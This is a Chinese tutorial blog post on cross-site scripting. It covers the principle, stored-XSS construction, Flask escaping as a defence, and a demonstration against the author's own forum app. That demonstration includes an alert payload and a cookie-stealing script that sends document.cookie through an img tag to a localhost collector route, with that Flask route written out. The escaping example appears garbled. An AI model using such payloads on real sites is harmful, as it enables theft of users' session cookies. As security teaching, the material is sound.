XSS

跨站脚本攻击:cross site scripting

  1. XSS 原理
    XSS为跨站脚本攻击,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

  2. 如何构造
    1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
    <script>
    this.document = "*********";
    </script>
    2)恶意提交这个表单
    3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

  3. 防御
    需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
    比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,
    保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>
    在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

  • 转义 flask会自动转义
    {{ r.content | safe }} 这是强制不转义,去掉管道符和 safe 就转义了
  • 禁止 document.cookie

攻击:

强制不转义就可以在回复框进行脚本注入攻击:

 <div class='reply_content from-leiwei1991'>
    <div class="markdown-text">{{ r.content | safe}}</div>
</div>

在回复框输入以下代码,会被当做脚本执行:

<script>alert('majun')</script>
图片.png
图片.png

获取页面 cookie

编写函数

@main.route('/gua')
def gua():
    # xss 攻击的后台
    cookie = request.args.get('cookie')
    log('cookie', cookie)
    return 'cookie'

在回复框输入:

<script>
    c = document.cookie
    tag = `<img src='http://localhost:3000/gua?cookie=${c}' alt='${c}'>`
    document.body.insertAdjacentHTML('afterend', tag);
    console.log('cookie', c)
    console.log('tag', tag)
</script>

即可在控制台输出 cookie(不知道为什么没有);

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。